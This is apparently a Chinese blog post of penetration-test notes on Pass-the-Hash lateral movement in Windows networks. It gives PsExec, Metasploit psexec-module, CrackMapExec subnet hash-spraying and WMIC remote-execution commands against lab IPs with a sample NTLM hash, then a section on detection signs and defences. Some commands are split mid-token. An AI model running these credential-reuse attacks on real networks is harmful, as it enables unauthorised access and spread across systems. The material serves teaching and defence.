内网横向之PTH


前言

      内网横向之PTH,以前的笔记整理,方便查看翻找。本文包括PsExec、CrackMapExec和WMI。


一、PsExec

1.概念描述

     psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。

2.利用注意点

  • 需要远程系统开启 admin$ 共享(默认是开启的)
  • 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
  • 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
  • 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务, 命令执行完后,psexec服务将被自动删除。由于创建或删除服务时会产生 大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是 administrator 权限的 shell。
  • 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能, 只能依靠账号和密码进行传递。

3.靶机利用之第一种

     第一种直接利用psexec程序方式。

# 使用账号和明文密码
# 参数解释:
# -accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
# -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell
直接直接执行回显
# -u 域/用户名
# -p 密码/hash
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd.exe
PsExec64.exe  \\192.168.0.141 -u Administrator -p 123456 cmd.exe /c "ipconfig"

在这里插入图片描述
在这里插入图片描述

# 使用账号和hash
# 参数解释:
# -accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
# -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell
直接直接执行回显
# -u 域/用户名
# -p 密码/hash
PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cm
d /c "ipconfig

4.靶机利用之第二种

     1)第二种是Metasploit中的psexec模块。先利用hashdump获取hash。
在这里插入图片描述     2)在MSF中搜索psexec,使用然后配置参数使用。

use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba885473
76818d4

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、CrackMapExec

1.概念描述

     CrackMapExec 可以对 C 段中的主机进行批量 pth或者密码喷洒,项目地址:https://github.com/Porchetta-Industries/CrackMapExec。kali可以直接sudo apt install crackmapexec安装。

2.靶机利用

     对192.168.9.0/24 C 段进行批量 pass the hash。

crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba
88547376818d4

在这里插入图片描述

三、WMI

1.概念描述

     WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

2.靶机利用

     WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中。使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)。

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt

在这里插入图片描述
     建立 IPC$ ,使用 type 读取执行结。
在这里插入图片描述

### 内网横向渗透攻击的网络流量特征 在网络环境中,内网横向移动是指攻击者在成功入侵一个内部主机后,在同一网络内的其他计算机之间传播的行为。这种行为通常伴随着特定类型的网络活动模式。 #### SMB协议异常使用 由于许多横向移动依赖于Windows操作系统中的服务消息块(SMB)协议来访问文件共享和其他资源,因此频繁或不寻常的SMB请求可能表明存在潜在的风险。例如,当`CrackMapExec`这样的工具被用来扫描整个域环境时,它会通过发送大量的SMB连接尝试到不同的IP地址来进行枚举操作[^2]。 #### 远程执行命令和服务控制管理器(RPC/SCM) 攻击者可能会利用远程过程调用(RPC)接口以及服务控制管理器(SCM),这些都可能导致非标准端口上的通信增加,尤其是TCP 135, 445等端口。此外,如果观察到了来自已知合法进程之外的新建计划任务或者启动的服务实例,则应引起注意。 #### DNS查询激增 为了发现更多可攻破的目标机器,恶意软件常常会对域名服务器(DNS)发起大量查询请求以获取有关目标系统的更多信息。这可以表现为短时间内DNS日志中出现了过多关于未授权子网范围内的名称解析记录。 #### 非法凭证传递(PtH/PtT) Pass-the-Hash (PtH) 和 Pass-the-Ticket (PtT) 技术允许攻击者无需知道明文密码即可冒充用户身份登录并获得权限。这类事件会在认证过程中留下痕迹,比如Kerberos票据授予票证(TGT)分发次数增多或是NTLM哈希验证失败率上升等情况。 --- ### 安全防护措施 对于上述提到的各种流量特点所对应的防御方法如下: #### 实施严格的最小特权原则 确保所有账户只拥有完成其工作所需的最低限度权利,并定期审查和调整权限设置。这样即使某个节点遭到破坏,也能减少进一步扩散的可能性。 #### 加强监控与检测机制 部署先进的EDR(Endpoint Detection and Response)/XDR扩展型威胁响应平台,它们能够实时监测可疑行为并对异常情况进行告警;同时配合SIEM系统收集多源数据进行关联分析找出隐藏较深的日志线索。 #### 更新补丁及时修复漏洞 保持操作系统及相关应用程序处于最新状态非常重要,因为很多横向移动都是基于已公开但尚未修补的安全缺陷展开的。组织应该建立有效的补丁管理系统,快速响应新发布的安全更新。 #### 教育员工提高意识水平 最后也是最容易忽视的一环就是人的因素——培训工作人员识别钓鱼邮件、社会工程学陷阱以及其他形式的社会欺骗手段,从而降低人为失误带来的风险敞口。 ```bash # 使用防火墙规则限制不必要的外部连接 sudo iptables -A OUTPUT -p tcp --dport 445 -j DROP ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值